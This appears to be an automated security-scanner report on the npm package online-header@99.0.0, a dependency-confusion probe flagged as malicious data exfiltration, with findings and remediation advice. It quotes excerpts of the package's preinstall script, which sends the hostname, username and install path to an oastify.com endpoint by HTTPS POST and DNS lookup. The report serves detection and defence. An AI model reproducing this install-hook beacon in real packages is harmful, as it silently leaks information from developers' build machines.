registry / Data exfiltration / online-header

online-header

security research - dependency confusion test - contact: b4dg0d@wearehackerone.com

This report shows the evidence for online-header@99.0.0, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 21d ago · by lpm-firewall-ai

The source establishes automatic, unconsented disclosure of local environment information to an external recipient. Research labels do not neutralize the active exfiltration behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package with npm lifecycle scripts enabled.

Impact

Discloses the build hostname, local username, installation directory, and runtime information without explicit consent.

Mechanism

The preinstall script collects local system information, sends it by HTTPS POST, and performs a hostname-bearing DNS lookup.

Attack narrative

Installing online-header activates callback.js before installation completes. It gathers identifying system and installation information and sends it to a fixed external endpoint. It also places a sanitized hostname in a DNS query to that domain. Errors are suppressed, allowing installation to continue silently.

AI rationale

The source establishes automatic, unconsented disclosure of local environment information to an external recipient. Research labels do not neutralize the active exfiltration behavior.

Evidence

package.jsoncallback.js

Network endpoints2

bixi2qq8pkzaq6byt1e037kuul0co2cr.oastify.com${tag}.online-header.bixi2qq8pkzaq6byt1e037kuul0co2cr.oastify.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json automatically runs callback.js during preinstall.
callback.js collects the hostname, username, installation directory, and runtime details.
callback.js posts collected information to a fixed external Oastify endpoint without an opt-in gate.
callback.js also exposes the hostname through a DNS lookup under the same external domain.

Evidence against

The inspected code does not collect credentials or perform destructive operations.

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 1.37 KB of source, external domains: bixi2qq8pkzaq6byt1e037kuul0co2cr.oastify.com

Source & flagged code

8 flagged

package.jsonView file

•scripts.preinstall = node callback.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"preinstall": "node callback.js" }, "license": "ISC" }

High

Ai Review Evidence

package.json automatically runs callback.js during preinstall.

package.jsonView on unpkg · L6

callback.jsView file

2// Collects hostname + IP for attribution, nothing destructive L3: const https = require("https"); L4: const os = require("os"); ... L9: p: "online-header", // which package triggered this L10: h: os.hostname(), // build server hostname L11: u: os.userInfo().username, // build user ... L30: req.on("error", () => {}); // silent fail — don't break their build L31: req.write(data); L32: req.end(); ... L36: try { L37: const { resolve } = require("dns"); L38: const tag = os.hostname().replace(/[^a-z0-9-]/gi, "").slice(0, 30);

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

callback.jsView on unpkg · L2

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> callback.js const https = require("https"); const CALLBACK = "https://[redacted].oastify.com"; const data = JSON.stringify({ const req = https.request({ method: "POST", req.write(data); // DNS exfil as backup (in case HTTPS is blocked outbound) resolve(`${tag}.online-header.[redacted].oastify.com`, () => {});

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

callback.jsView on unpkg

8const data = JSON.stringify({ p: "online-header", // which package triggered this h: os.hostname(), // build server hostname u: os.userInfo().username, // build user d: __dirname, // install path (shows internal dir structure) t: n

High

Ai Review Evidence

callback.js collects the hostname, username, installation directory, and runtime details.

callback.jsView on unpkg · L8

6const CALLBACK = "https://[redacted].oastify.com"; const data = JSON.

High

Ai Review Evidence

callback.js posts collected information to a fixed external Oastify endpoint without an opt-in gate.

callback.jsView on unpkg · L6

22const req = https.request({ hostname: url.hostname, port: 443, path: url.pathname, method: "POST", headers: { "Content-Type": "application/json", "Content-Length": data.length }, timeout: 5000, }, () => {}); req.on("error", () => {}); // silent fail — don't break their build req.write(data); req

High

Ai Review Evidence

callback.js posts collected information to a fixed external Oastify endpoint without an opt-in gate.

callback.jsView on unpkg · L22

31req.write(data); req.end(); } catch (e) {} // DN

High

Ai Review Evidence

callback.js posts collected information to a fixed external Oastify endpoint without an opt-in gate.

callback.jsView on unpkg · L31

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.preinstall = node callback.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"preinstall": "node callback.js" }, "license": "ISC" }

High

Ai Review Evidence

package.json automatically runs callback.js during preinstall.

package.jsonView on unpkg · L6

callback.jsView file

High

Findings

8 High1 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationcallback.js

HighTrigger Reachable External Post Callbackcallback.js

HighAi Review Evidencepackage.json

HighAi Review Evidencecallback.js

MediumNetwork

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to online-header@99.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing online-header@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-04 23:45:17.022Z (UTC).

Source advisory published: 2026-10-01 14:55:35.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

99.0.0latestshownMaliciousData ExfiltrationBlockPublishedOct 1, 2026, 2:49 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Related packages

Other data exfiltration packages

Source & flagged code